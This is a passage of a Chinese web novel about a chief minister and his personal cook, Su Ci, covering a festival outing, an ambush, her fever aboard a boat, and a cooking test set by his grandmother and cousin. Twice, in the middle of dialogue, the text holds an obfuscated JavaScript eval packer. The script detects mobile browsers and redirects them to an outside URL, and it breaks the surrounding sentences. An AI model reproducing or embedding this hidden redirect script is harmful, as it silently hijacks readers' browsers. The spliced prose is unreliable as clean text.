回城的路上，罗知府为表殷勤，又笑着对温砚礼道：“大人，今日恰巧是我们湖州府一年一度的鲜花节，晚间城里甚是热闹，满街鲜花，还有灯会夜市。古来这便是青年男女相邀出游、互赠鲜花的日子，大人若是有兴致，不妨也去瞧瞧散散心？” 一直安静跟在后面的苏慈，听到有灯会夜市这种热闹看，耳朵微微动了动，双眸不禁露些许向往。她自幼长在临安，但因家变困于闺阁乃至为奴，何曾见过这般热闹的民间节会。 光是想象那满街芬芳的景象，便觉得心痒难耐。她悄悄抬眼，想从温砚礼脸上看出点意思。 然而温砚礼听完罗知府的话，眼底冷然甚无波澜：“嗯。” 苏慈见状，心下微微有些失落，心想那般热闹，以大人的性子，定是不喜的。能远远听罗知府说一说，想象一番，便也知足了。 晚膳过后，温砚礼便入了书房，翻阅罗大人白日送来的本年政务卷宗。 官邸地处城内繁华地段，窗外市井喧嚣隐隐可闻。他正凝神间，忽听几声巨响，绚烂的烟火随即点亮了夜空，也将书房映得忽明忽暗。 温砚礼蹙了蹙眉，扬声唤道：“福安。” 窗外烟火接二连三炸响，声势浩大，掩盖了他的声音。连唤两声，皆无人应答。他只得搁下笔，亲自起身去关窗。 手刚触及窗棂，他的视线不禁被院墙边的一幕吸引了。只见苏慈悄生生地立在墙根下，微微踮着脚尖，透过墙头花窗的缝隙，努力向外张望着。烟火明灭的光芒在她娇柔的侧脸上流转，就像只被外界吸引却又不敢越雷池半步的小雀。 温砚礼关窗的动作顿住了。 墙外的烟花盛放渐歇，喧嚣稍止。苏慈轻轻叹了口气，似是有些遗憾，欲准备转身回房，却猛然瞧见身后不知何时立着的墨色身影，吓得她低呼一声，心脏怦怦直跳。 “大、大人？您怎么在这儿。”她抚着心口，脸颊微热，自己刚才那副模样定然全被他看了去。 温砚礼没有回答她的问题，道了句“跟上”，便转身朝院外走去。 苏慈一愣，不明所以，但还是快步跟了上去。走了几步，她才发现福安哥没有随行，忍不住小声问：“大人，福安哥不一起去吗？” “不知。”温砚礼语气冷淡 一出官邸，宛如踏入了另一个世界。长街两侧灯火如龙，各式各样的花灯将夜晚点缀得亮如白昼。正如罗大人所言，因着当今太平年景，民风开放，不少年轻男女结伴同行，言笑晏晏，并无太多拘束。 苏慈的眼睛亮了亮，她小心跟在温砚礼身后，刚侧头看去，目光便被不远处城河上的几艘鲜花船吸引了去，船上堆满了各色时令鲜花，形成移动的花岛，岸上挤满了围观喝彩的人群。 她看得心痒难耐，忍不住悄悄扯了扯温砚礼的衣袖，嗓音温软，几近撒娇的恳求：“大人，那边好热闹，我们能过去看看吗？” 温砚礼垂眸瞥了一眼被她拽住的袖角，又抬眼看她那双黑白分明的眸子，沉默一瞬，道：“依你。” 苏慈顿时喜上眉梢，像只欢快的小雀儿，跟着人流挤向河边。温砚礼负手站在原地，墨眸穿过熙攘人群，始终看着那个垫脚想努力清花船的纤细背影。 待花船驶远，人群稍散，两人才继续沿街漫步。路过一个卖鲜花的小摊，那位慈眉善目的老妪笑着招呼：“公子，小姐，买支鲜花吧，鲜花节的花，不只送给心上人，送给恩人，贵人，表达谢意也是极好的。” 苏慈脚步微顿，犹豫了下，转而掏出几枚铜钱，精心挑选了一支开得正盛的粉色月季，然后快步走到温砚礼面前。 温砚礼眉梢微动，看着她递到眼前的鲜花。 “大人，谢谢您今晚带奴婢出来，不然就错过这么好看的花船了，这个送给您，就当是谢礼。”苏慈神态羞怯，越说声音越小，睫毛颤动着，不敢直视他的眼睛。 温砚礼静默片刻，这才伸出手接了过来。指尖无意触到她温热的手心，两人皆是一 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车马刚驶出湖州城门不久，官道两侧无风寂静，只余车轮碾过土路的单调声响。为首护卫警惕地环顾四周，茂密的树林投下浓重阴影，气氛无端透出几分压抑，他心头暗感不对，正欲驱马靠近轿厢禀报。 谁知道路两旁密林中陡然射出十数支冷箭，狠狠钉在护卫盾牌上，紧接着，七八个手持利刃的蒙面汉子如鬼魅般出现，直冲队伍中央的轿辇，眼神凶戾。 “有刺客！护驾！”为首护卫暴喝一声，拔刀迎敌。训练有素的护卫迅速将温砚礼的轿辇团团护住，刀剑相交之声打破了山野的寂静。 福安惊怒呵斥：“大胆狂徒，可知轿中乃是当朝首辅，尔等是想诛九族吗！” 那为首的黑衣人冷哼一声：“杀的就是他，给我上！” 苏慈在轿中听得外面惨呼不断，脸色一阵青白，她从未经历过这般阵仗，顿时吓得大气都不敢。 混乱中，后方传来张道人惊恐的尖叫：“无量天尊，贫道只是炼丹的，莫要杀我。”对方吓得连滚带爬跳下马车，一头钻进了路旁的密林里，眨眼不见了踪影。 温砚礼面色沉静，隔着轿帘冷声吩咐：“去两人，把他找回来，看好了，别让他出事。”随即，他转向身旁瑟瑟发抖的苏慈，迟疑一瞬，伸手将她冰凉的手腕握住，轻轻拉向自己身侧。 动作有些生硬，又带着罕见的安抚意味：“别怕，无人能伤你。” 话语简短，苏慈狂跳的心却安定了几分。她抬起泪眼朦胧的眸子，看着眼前的男人，点了点头，努力的想忍住颤抖。 外面的打斗声并未持续太久。不过一盏茶的功夫，福安的声音便隔着轿帘响起：“大人，料理干净了。留了两个活口，其余皆已伏诛。” 温砚礼这才松开苏慈的手，掀帘下车。只见官道上横七竖八躺着黑衣人的尸体，护卫们也略有损伤，他看着那些尸体，眼神冰寒。 “大人，看身手和配合，不像寻常山匪，倒像是专门潜伏在此等候多时的死士。”福安低声道。 温砚礼轻蔑地勾起唇角：“嗯，看来，我们是查到了些让人坐不住的东西了。” 17. 生姜片 苏慈跟着下了车，看到地上的血迹，小脸又是一白，下意识地靠近了温砚礼一些，眼中惊惧未消。 温砚礼瞥了她一眼，果断道：“马车目标太大，前方恐还有埋伏。改走水路。” 恰在此时，两名护卫也提着吓瘫软了的张道人回来了。那道人道冠歪斜，嘴里还不住念叨着无量天尊。 不多时，一行人便弃了车马，登上了提前备好的官船。半刻后，苏慈扶着船舷，望着渐行渐远的岸线，这才长长地舒了一口气，腿脚依旧有些发软。 - 官船在江心静静航行，只闻流水潺潺与风声呜咽。苏慈白日里受了极大惊吓，入夜后便发起了高热。 起初只是觉得浑身发冷，缩在舱房薄被里瑟瑟发抖，后来便意识模糊起来，脸颊烧得绯红，嘴唇干裂，偶尔发出难受的呓语。 船上未配备随行大夫。福安急得不行，那张道人倒是主动凑上前，从他那百宝囊似的布袋里摸索出一颗黑漆漆的丹药，信誓旦旦道：“此乃贫道精心炼制的驱邪扶正丸，以朱砂、雄黄辅以…” “滚出去。”温砚礼打断他，脸色逐渐清冷，“再拿这些江湖术士的玩意儿糊弄，本官将你扔下河喂鱼。” 张道人吓得一哆嗦，赶紧收起丹药，讪讪道：“大人息怒，贫道还有别的法子。”他慌忙又掏出几株干枯的草药，“这是紫苏叶、生姜片，虽是寻常之物，煎水服下，发散风寒最是稳妥。” 温砚礼示意福安拿去煎煮，顺势让福安把张道人拎出去。他站在舱床边，看着榻上那个蜷缩成一团的身影，眉头紧锁。平日里那双灵动的眸子此刻紧紧闭着，长睫不安地颤动，原本莹润的小脸烧得通红，更显脆弱。 药很快煎好，汤汁浓稠如墨，散发着浓重的苦味。福安端着药碗进来，为难道：“大人，这苏慈姑娘这般模样，自己怕是喝不进去了。” 温砚礼一时没搭腔。 福安觑着他的脸色，小心翼翼试探道：“上次，您胃疾不适，饮不下药，也是苏慈姑娘在一旁耐心伺候，一勺一勺喂的，您看这…”话没说完，意思却再明白不过。 “多嘴。”温砚礼冷斥一声。 福安缩了缩脖子，却还是硬着头皮继续道：“这船上除了苏慈姑娘，再无其他女眷，总不能让那些粗手粗脚的护卫来喂吧？这于礼不合。” 舱内陷入沉默，偶尔听见苏慈难受的喘息声。温砚礼盯着那碗浓黑的药汁，片刻后，伸出手：“出去，闭上你的嘴。” 福安赶紧将药碗递过去，躬身退了出去，还细心地将舱门带拢。 温砚礼端着药碗在榻边坐下，他从未伺候过人，动作难免生硬。他先试着舀起一勺药，学着记忆中模糊的样子，递到苏慈唇边。 “唔，苦…”昏沉中的苏慈似乎感知到了那刺鼻的苦味，下意识地别开头，嘴唇抿得紧紧的，不肯喝。 温砚礼耐着性子又试了一次，还是被她躲开了。他眉头越蹙越紧，那点本就稀薄的耐心彻底告罄。放下药勺，他伸手捏住她的下颌，微微用力，迫使她张开了嘴，然后将一勺药汁径直灌了进去。 “咳咳…呜…”苏慈被呛得咳嗽起来，褐色的药汁从嘴角溢出，甚至有几滴溅到了她的鼻尖上。 她烧得糊涂，顿时觉得更加难受委屈：“难受，不要…”那带着泣音的微弱反抗，像鸦羽轻微地搔过心尖。 温砚礼动作一顿，看着她咳得泛出泪花的眼角，随即放轻了力道。不再试图一次喂完一勺，而是每次只喂少许，笨拙地等她慢慢咽下，再喂下一口。 一碗药喂完，也耗费了不少时辰。他额角甚至冒出了细微的汗珠，比批阅一整天奏折还要耗神。 他放下药碗，目光落在她鼻尖那点已然干涸的药渍上，犹豫片刻，从袖中取出自己的素白手帕，轻轻替她擦拭干净。 指尖触碰到她的皮肤，滚烫而柔软，带着病人特有的虚弱热度。 他迅速收回手，将手帕攥入掌心，仿佛那点温度烫手一般。 寒风冷冽，温砚礼在船头立了良久，任凭冷风拂面，吹散他心头那点莫名的噪意。待周身寒意侵透，他才转身回到舱房。 这官船是临时征调，陈设简单，仅有一间主舱较为宽敞舒适，自然成了他的住处。如今，那烧得昏沉的人已经占据了他的床榻。 推开舱门，烛光摇曳下，果然见榻上的苏慈又不安分起来。或许是药力发作体内燥热，她无意识地拉扯着衣襟，领口已被扯得微微散开，露出一段纤细脆弱的脖颈肌肤，脸颊绯红，嘴里还含糊地嘟囔着“热”。 温砚礼脸色一僵，快步上前，一把按住她胡乱动作的手，低声斥道：“安分点。”话里带着自己未曾察觉的恼意。 这苏慈平日里看着温婉守礼，怎地病了如此不知约束。 他将她的手塞回被子里，又仔细掖好被角，确保包裹得严严实实，这才直起身，走到窗边的案几前坐下。案上堆着这几日积压的文书，他强迫自己将注意力投入到政务之中。 舱内一时无声。然而他批阅几份文书，就不由自主地抬眸瞥向榻上，见她似乎终于老实睡去，才稍稍安心。 下次出行，务必随行带上太医署的人，他心下暗忖，这般突发状况，实在麻烦。这念头刚闪过，他执笔的手霎时顿住。为何会自然而然地想到下次还要带她同行？温砚礼脸色微变，神情惊疑不定。 他从未习惯身边长期跟着某个固定的人，更从未考虑过出行时特意带上一个婢女，即便是负责膳食的。 可方才那念头，竟那么顺理成章地浮现。 他倏地收回视线，眉心紧蹙，像是要驱散什么不该有的思绪，重新将精力凝聚在眼前的公文上。舱内烛火噼啪一声轻响，映照着他晦明不定的侧脸。 天色微亮，苏慈像是感知般地睫毛颤了颤，随即睁开眼，头脑昏沉，浑身酸软的无力。 昨夜记忆模糊，她依稀记得自己好似发起了高热，难受得紧，恍惚间有人扶起她，将苦涩的药汁一勺勺喂入她口中，那动作起初有些笨拙强硬，后来却渐渐缓了下来… 她眨了眨眼，茫然地打量着四周，身下的床铺宽阔，锦被柔软，还带着一股清冽好闻的松墨气息。 “醒了？” 一道凉薄的嗓音自不远处响起，吓了苏慈一跳。 她闻声转头，只见温砚礼坐在临窗的案几旁，手边放着一盏早已凉透的茶，眉宇间含着几分疲惫，眼下青影隐约可见，仿佛一夜未眠，正眸光沉沉地看着她。 苏慈心中一慌，连忙挣扎着坐起身，虽仍有些头重脚轻，但比昨夜已是好了太多。她这才意识到，自己占了大人的床榻睡了一夜。 “大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353977|183616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …”她忍不住红了脸，手足无措地掀被下床，声音带着久病初愈的沙哑，“奴、奴婢该死，竟占了您的床，还劳您守夜，奴婢这身子太不争气，给您添了大麻烦。” 温砚礼看着她慌乱的模样，一夜未眠而导致的烦躁似乎更盛了。他冷哼一声，起身走向床榻：“既知身子弱，日后便好生锻炼，少添些麻烦。” 见他要躺上自己刚刚睡过的床铺，苏慈也顾不得尴尬了，急忙道：“大人，不可，奴婢病气未清，恐过了病气给您。” 温砚礼没搭理这话，径自和衣躺下，拉过那床还残留着她体温的锦被盖好，闭上眼睛：“本官没你想象的那般脆弱。” 苏慈被他这话噎住，只得讷讷地应了声：“…哦。” 站在原地，看着他真的就这么睡下了，她脸颊更是烫得厉害，毕竟那床上还满是她的气息，他就这般躺上去了。 不敢多待，她转身忙地溜出了舱房。 舱外江风清冽，她脸上的热度稍稍降了些。没走几步，便遇上了来回踱步的福安。 “苏慈姑娘，你可算醒了。”福安见到她，眼睛一亮，忙迎上来，“身子可大好了？还有哪里不舒服？” 苏慈福了一礼，歉然道：“劳福安哥挂心，已经无碍了，昨日给大家添麻烦了。” “哎哟，姑娘说的哪里话，人没事就好。”福安摆摆手，打量着她恢复了些血色的脸，总算松了口气。 苏慈犹豫了一下，还是按捺不住心中的疑惑，小声试探道：“福安哥，昨夜星辰似是有人给奴婢喂了药，不知是…” 她话未说完，福安脸色就微微一变，像是被什么烫到似的打断，眼神飘忽地看向江面：“啊，是啊是啊，喝了药就好，喝了药就好，那个前头好像叫我呢，我先忙去了。”说完，像是怕她再追问一般，脚底抹油，飞快地溜走了。 留下苏慈一人站在原地，看着福安哥仓惶的背影，心中的疑团非但未解，反而更大了。 午后未时，官船在一处颇为繁华的码头暂作停靠，补充些淡水吃食。温砚礼睡了几个时辰，醒来后神色间的倦怠消散不少，换上了一身墨青色暗纹杭绸直裰，玉带轻束，少了几分凛冽威仪，倒更像一位清贵疏离的世家公子。 他率先下了船，苏慈紧随其后。 码头上人来人往，吆喝叫卖声不绝于耳。刚踏上栈板，一个机灵的小厮便觑准了温砚礼气度不凡，满脸含笑地凑了上来：“这位爷，初到本地吧？可需要些特别的服侍？” 福安眉头一皱，上前半步挡开些许，沉声问：“什么服侍？” 那小厮眼睛滴溜溜一转，凑得更近，声音压得极低，带着暧昧的笑意：“就是能让爷舒坦快活的那种服侍，咱们这儿姑娘小子都有，包您满意。” 苏慈站在稍后处，听得半懂不懂，只见那小厮神态鬼祟，不由好奇地轻声问了句：“是什么服侍呀？” 那小厮这才注意到温砚礼身后还跟着一位容貌清丽的姑娘，顿时面露尴尬，搓着手支吾起来：“啊这…” 温砚礼面色一沉，冷声打断：“没什么。”未再理会那讪讪的小厮，他抬步便朝码头旁的街市走去。 苏慈被那冷硬的语气慑住，敛了那点困惑，忙小步跟上，心里却还在琢磨那“服侍”究竟所指何事，为何那小厮和福安哥的表情都那般古怪。 18. 杏脯 一行人寻了家临河看起来颇为干净的酒楼。温砚礼拣了张靠窗的桌子坐下，眼神随意瞥了眼苏慈。 苏慈会意，这才小心地在圆凳边缘坐下。 点了五六样当地时兴小菜，很快便送了上来。温砚礼吃得不多，动作优雅但好似有点心不在焉的。苏慈安静地用着饭，不时看眼窗外河面，又偶尔瞄一眼对面的男人。 吃着吃着，昨夜零碎的记忆又浮上心头，她的脸颊微微发热，心跳也快了几分。 攥着筷子，犹豫了半晌，她想开口问问昨夜之事，可一抬眼看到他心情好像不太好的样子，到嘴边的话又怯怯地咽了回去。还是别问了吧。 用完膳，温砚礼没有当即起身，端着茶盏慢饮。苏慈见旁边有家卖蜜饯糕点的铺子，香气诱人，便小声请示：“大人，奴婢想去那边买些零嘴。” 温砚礼随意应了句：“嗯。” 苏慈快步走过去，仔细挑了几样看起来香甜可口的杏脯和茯苓糕，用油纸包好，宝贝似的捧在怀里。回到酒楼，温砚礼已站在门口等候，她赶紧跟上，一行人便返回了停泊的官船。 官船在运河上平稳行驶了四五日。这日天气晴好，苏慈靠在船舷边吹风，看着两岸缓缓后退的青山绿水出神。 那张道人不知何时凑了过来，一双眼睛在她脸上瞟来瞟去，捋着那几根稀疏的胡子，神神叨叨地开口：“苏姑娘，贫道瞧你面相清奇，非同一般啊。来来来，让贫道为你免费卜上一卦，准不准另说，就当解个闷儿？” 苏慈对这位于大人面前唯唯诺诺，私下有些话痨的道长并无恶感，便笑了笑：“道长还会看相？” “那是自然，”张道人见她搭话，更来劲了，装模作样地端详着她的眉眼，“啧，姑娘这面相，瓜子脸，杏仁眼，本是福薄之相，早年怕是吃了不少苦头吧。” 苏慈心下微微一动，想起家道中落的往事，唇角的笑意淡了些。 张道人话锋一转，又笑道：“然则否极泰来，姑娘且看你这鼻梁挺直，山根丰润，日后必有后福，依贫道看，用不了多久，姑娘定会遇到一位身份尊贵的男子，且那男子眼中啊，怕是只看得到姑娘一人。” 听到这话，苏慈小脸不禁一红。她年岁渐长，虽因家变和为奴的身份从未敢奢望婚嫁之事，但少女怀春，难免对那模糊的良人生出一点点隐秘的向往。 她听得入神，那张道人说着还伸出手，似乎想拉住她的手细看掌纹。 就在这时，舱内传来一道冷冰冰的声音：“苏慈，过来。” 苏慈一个激灵，紧着回过神来，也顾不上那张道人，连忙应道：“是，大人。”小步快走进了舱内。 温砚礼坐在案前看书，头也未抬，嗓音淡冷地抛出一句：“少听那些江湖术士胡言乱语，蛊惑人心。” 她低下头，乖顺地应道：“哦，奴婢知道了。” - 这几日因舱房有限，苏慈夜夜都是在温砚礼房内打地铺。她总是等他歇下后才悄悄铺好被褥躺下，翌日又赶在他醒来之前收拾妥当。然而，温砚礼素来浅眠，醒得总比她更早。 每日清晨，温砚礼醒来第一眼看到的便是睡在不远处地铺上的那道纤细身影。她睡得似乎很沉，侧颜安静，呼吸清浅，长发如墨缎般铺散在枕上，带着一种毫无防备的柔美。他通常只是静静看上一眼，便悄无声息地起身，从不惊醒她，自行出去洗漱。 这日，他刚出舱门，福安便递上一张密报，低声道：“大人，那边有消息了。抓获的死士中有一人昨夜趁守备不备自尽了，但另一人熬不住刑，吐了口，说接头人他们并不认识，只知对方来头不小，事先精准告知了他们大人您的行程时辰和必经的官道路段，命令是格杀勿论。” 温砚礼接过纸条扫了一眼，指尖在船舷上轻轻敲击着，眸色深沉如夜：“继续查。顺着这条线，挖出幕后之人。” “是。” 正说着，船身轻轻一震，缓缓靠向码头。 岸上，早已得到消息的当地官员和前来接应的侍卫已垂手恭候多时。 马车辗转，舟船劳顿，近一个多月的行程终于结束。待熟悉的京城城墙映入眼帘后，苏慈心中竟生出一丝难以言喻的意犹未尽。 这一路虽惊险波折，却也见识了许多以往不曾见过的风土人情，甚至还与那位高高在上的大人有了许多意想不到的近距离接触。 当然，她也给自己惹了些麻烦，想到此，她不禁有些赧然。 车驾径直驶入首辅府。温砚礼甫一落地，便吩咐道：“更衣，即刻入宫。”他需尽快将张道人引荐给陛下，并禀明南下诸事。他匆匆换了朝服，便带着张道人离去，甚至未多看一眼府中景致。 苏慈松了口气，准备回自己的小院稍作整理，刚帮着仆役从车上搬下自己的小箱笼，就听得身后传来一道娇柔急切的女声：“表哥呢，不是说回来了吗？” 苏慈回头，只见一位身着鹅黄穿花云缎裙，头戴珠翠的年轻小姐，正带着丫鬟站在垂花门下，眉眼间的失落久久未散。 那小姐看到了在搬东西的苏慈，视线在她身上停留了一瞬，随即柳眉微蹙，问身旁的丫鬟：“那是谁？瞧着面生。” 丫鬟小声回道：“表小姐，那是小厨房的苏慈姑娘，是、是大人的专属厨娘，这次大人南下，她也跟着去了。” “专属厨娘，还跟着南下了。”柳依依脸色倏地一变，难以置信地重复了一遍。她深知自己那位表哥性情有多冷僻，向来不喜女子近身伺候，更别提千里迢迢带个婢女同行。 这苏慈虽作婢女打扮，却生得纤细窈窕，姿色娇柔清丽，低眉顺眼间自有一股动人韵致，绝非普通灶下婢可比。 柳依依盯着苏慈抱着东西准备离开的背影，眼神变得锐利，也顾不上失望，转身语气急促地对丫鬟道：“走，去给老夫人请安。” 慈晖堂内，温老夫人刚用罢午膳，刚端起消食茶，就听下人回报说孙儿回府了但又立刻进了宫，不由叹了口气：“这孩子，总是这般忙碌，连喘口气的功夫都没有。” 正说着，柳依依红着眼圈进来了，一见老夫人，便委屈地唤道：“外祖母。” “哟，这是怎么了？谁给我们依依委屈受了？”老夫人放下茶盏，关切地问道。 柳依依绞着手中的帕子，声音带着哭腔：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353978|183616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外祖母，您可知表哥这次南下，身边竟带了个女子同去。” “什么？”老夫人果然吃了一惊，坐直了身子，“竟有此事，赵福那日回话，可未曾提起。” “千真万确。”柳依依添油加醋道，“方才依依亲眼所见，那女子刚从表哥的马车下来，生得一副、一副妖娆模样，听下人说，是什么专属厨娘，可哪有厨娘能跟着主子出远门的道理？表哥他、他向来不近女色，此番却…” 老夫人越听眉头皱得越紧。她这孙儿年近二八却迟迟不肯成家，身边连个通房丫鬟都没有，早已成了她的一块心病。如今竟突然带了个年轻女子同行，这倒是破天荒头一遭。 “竟有这等事…”老夫人沉吟片刻，眼中闪过精光，当即对身旁的嬷嬷吩咐道，“去，把赵管家叫来，再让那个、那个叫什么苏慈的丫头，立刻过来见我。”她倒要看看，是何等女子，竟能让她那冰山似的孙儿另眼相看。 苏慈刚放下行李，打来热水，打算仔仔细细地洗去一路风尘，想着能好好歇息片刻，院门便被叩响了。 来人是赵管家，他脸上带着的笑，语气却还算客气：“苏慈姑娘，老夫人听闻你随大人南下辛苦，想见见你，说几句话。” 苏慈眼皮微跳，心里有那么一瞬的不安，大人的祖母为何要见自己这样一个微不足道的厨娘？ 赵管家似是看出她的紧张，宽慰道：“姑娘不必惊慌，老夫人最是和善不过，只是寻常问话罢了。” 话虽如此，苏慈却不敢怠慢，连忙整理了一下稍显凌乱的鬓发和衣裙，深吸一口气，跟着赵管家往府中深处的慈晖堂走去。 慈晖堂内布置得雍容却不失雅致，温老夫人坐在主位的雕花扶手椅上，手持一串佛珠，看着年事已高，但眼神然是锐利清明。而一旁坐着的，正是方才在垂花门前有过一面之缘的那位衣着华贵的年轻小姐。 苏慈压下心头忐忑，上前几步，规规矩矩地屈膝行礼，声音轻柔：“奴婢苏慈，给老夫人请安。” 老夫人“嗯”了一声，敛眸在她身上细细打量了一番，并未叫她起身。苏慈能感觉到那道视线如同细密的筛子，从头到脚将她过滤了一遍。 “抬起头来。”老夫人发话。 苏慈依言微抬起头，垂着眼睫，不敢直视。 老夫人见她一张小脸莹润细腻，鼻梁挺翘，唇瓣如樱，尤其那双眉眼，清澈澄净，即便当下有些紧张也难掩其间的灵动温婉。身段更是纤细合度，看似穿着朴素，却有一股清丽脱俗的气韵。 满意地点了点头，她语气缓和了些：“模样倒真是周正，起来回话吧，景言这孩子，眼光总算还不差。” 苏慈谢恩起身，但因那句“眼光不差”，心中有些迷惑不安。 “你与景言，如今是个什么情形？”老夫人单刀直入地问道。 苏慈一愣，老实回答：“回老夫人，奴婢、奴婢只是大人院中小厨房的厨娘，负责大人的日常膳食。” “厨娘？”老夫人似乎对这个答案并不满意，微微蹙眉，竟又追问了一句，“只是厨娘？那他千里南下，独独带你一人随行伺候饮食，你们途中未曾同宿一处？” 19. 姜葱炒蛤蜊 这话问得太过直白露骨，苏慈的脸颊顿时红得透彻，如同染了最艳的胭脂，连耳根脖颈都烧了起来。 她慌忙摆手，声音都带了急切的颤音：“没有，绝对没有，老夫人明鉴，大人他、大人他只是习惯奴婢的手艺，路上也是分开住的。”她差点脱口而出自己一直是打地铺，好在最后关头刹住了车。 老夫人见她反应如此激烈，羞窘之情不似作伪，这才慢悠悠地“哦”了一声，似是信了，又似有些失望。 一旁的柳依依见状，嘴角撇了撇，插话道：“原来真是个厨娘，能得表哥青眼，想必苏姑娘的厨艺定是有过人之处了？”她语气不明，继而转向老夫人，娇声道，“外祖母，既然苏姑娘手艺如此了得，不若今晚就让她露一手，晚膳便由她来操持，我们也好好尝尝，究竟是何等美味，能让表哥这般另眼相看？” 老夫人闻言有些犹豫：“这，她才刚回来，一路劳顿的。” 柳依依挽住老夫人的胳膊，软语央求：“正因刚回来，才更要试试真本事嘛，外祖母，您就不好奇嘛？再说了，若是连咱们都觉得好，那才说明表哥不是一时兴起，是真寻着个宝了不是？” 老夫人被她磨得无法，又确实存了几分考察的心思，便点了点头，对苏慈道：“既如此，苏慈，今晚的晚膳便由你来做。也不必太繁杂，拣你拿手的做几样便是。” 苏慈听着她们三言两语就定下了对自己的考校，心口微颤。这哪里是用膳，分明是场鸿门宴。 可她人微言轻，哪有拒绝的余地：“是，奴婢遵命，奴婢这就去准备。” 申时正，后厨只有苏慈一人，她站在那，对着满桌的食材发怔。 那桌上摆着的，尽是些费时耗力的东西，一小筐青壳河虾兀自蹦跳着，吐着沙的蛤蜊，还有干硬带刺的榛子和一小盆未去芯的莲子，每一样都需要极致的耐心和巧劲去处理。 她望向厨房里另一个在慢悠悠擦着灶台的粗使婢女，柔声商量道：“这位姐姐，这些食材处理起来甚是繁琐，眼看晚膳时辰将近，能否劳烦您搭把手，帮我剥些榛子或是莲子？” 那婢女手下动作不停，眼皮都未抬一下，硬邦邦地回绝：“依依小姐早有吩咐，今晚的膳食品鉴，须得苏姑娘独自完成，方能显真本事，咱们可不敢插手，免得沾了光或是惹了不是。” 苏慈闻言，手指紧了紧，她与这位表小姐素昧平生，为何要这般刻意刁难。 片刻，见对方真的不打算帮忙，她抿了抿唇，随即挽起袖子，露出两截纤细的手腕，认命地拿起工具。 她先取过那碗榛子，用铜夹费力地夹开坚硬带刺的外壳，稍有不慎，尖刺便扎入指腹，疼得她轻轻吸气。 接着又是那盆莲子，需得用细针一颗颗耐心剔去苦涩的莲芯，指甲掐在滑腻的莲肉上，不多时指尖便泛起了明显的红痕。 她肤色本就白皙，稍稍用力或是受些摩擦，那红痕便分外显眼，看着有几分触目惊心。 最后处理那些活虾鲜蛤，更是折腾得她细汗连连，手指被虾壳划出几道细微的口子，沾了水便隐隐作痛。 想着老夫人久居金陵，口味应偏好清淡鲜甜，她强忍着指尖的不适，就着这些材料，精心烹制了一道清炒手剥河虾仁，一碗火腿鲜笋莲子羹，一碟姜葱炒蛤蜊，另配了两样清爽时蔬。 待到将所有菜肴整齐放入食盒，她的十指已是红肿异常，腰背也因长时间弯腰劳作而酸涩难忍。 苏慈提着沉甸甸的食盒刚步入慈晖堂，老夫人与柳依依恰巧刚坐于桌前。 柳依依敲见她进来，眼神轻蔑地瞥了眼她那身沾了油烟味的衣裙，轻哼一声。 苏慈垂首，将菜肴一一布上，轻声道：“老夫人，表小姐，晚膳备好了，请慢用。” 老夫人动筷尝了尝那虾仁，又舀了一勺莲子羹，语气还算和蔼：“嗯，虾仁鲜甜，羹汤也清淡适宜，火候掌握得不错，难怪景言看重你。” 柳依依却夹起一颗虾仁，仔细端详片刻，语气轻慢：“这虾仁个头剥得大小不一，瞧着便不精致，火候嘛也就寻常。”她又舀了一勺羹汤，轻轻吹了吹，“外祖母，您尝尝这羹，是不是太过清淡了？老人家饮食虽需清淡，却也不能全然失了滋味呀，看来表哥平日对吃食要求倒也并不严苛。” 对方句句温和，却字字如软针。 苏慈垂手立在一旁，听着这些吹毛求疵的点评，想起自己的劳作过后，那双隐隐作痛的手，鼻尖忍不住发酸。她咬紧下唇，将那股委屈硬逼回去，低眉顺眼地应道：“表小姐指点的是，奴婢记下了。” - 温砚礼刚回府，便有下人忐忑地前来禀报，说苏慈被老夫人叫去慈晖堂准备晚膳了。他闻言，眉头紧拧，声音冷了几分：“我何时说过，她需为旁人准备膳食？” 回话的仆役吓得大气不敢出，只嗫嚅道：“是、是老夫人坚持，奴才们不敢违拗。” 温砚礼转身便朝着慈晖堂走去，身上那身紫色麒麟纹朝服都没来得及换下，更衬得他面容冷峻，气势迫人。 踏入慈晖堂，老夫人见他来了，脸上露出笑容：“景言回来了，快坐下，尝尝你这小厨娘的手艺，倒是真不错。” 他并未依言坐下，先是看向垂首静立一旁的苏慈身上，见她垂在身侧的手疑似有伤。眸色微沉，转向老夫人：“祖母，苏慈是孙儿院中的人，专司孙儿一人饮食。孙儿味觉有损，唯有她所做的饭菜，方能勉强入口。” 老夫人脸上的笑容淡了些，不悦道：“怎么？我如今连你院中的一个奴婢都使唤不得了，让她做顿饭便是累着她了？” “祖母言重了。”温砚礼神色不变，悠然解释道，“孙儿并非此意，只是陈述事实，若下次再这般劳累她，她病倒了，孙儿怕是也要跟着受罪。” 老夫人确实没想到这一层，愣了片刻，神色有些讪讪，只得转移话题，指着身旁的柳依依道：“罢了罢了，景言，这是你依依表妹，你离京这些年，她常来陪我，最是乖巧懂事。” 柳依依连忙起身，含羞带怯地敛衽行礼，声音娇柔：“依依见过表哥。”她抬眼望向温砚礼，眼神倾慕。 然而温砚礼只是随意瞥了她一眼，如同在看一件无关紧要的摆设，淡地“嗯”了一声，便转而对着苏慈道：“去将我书房那罐雪顶含烟取来。” 苏慈刚因那番维护而有些心绪 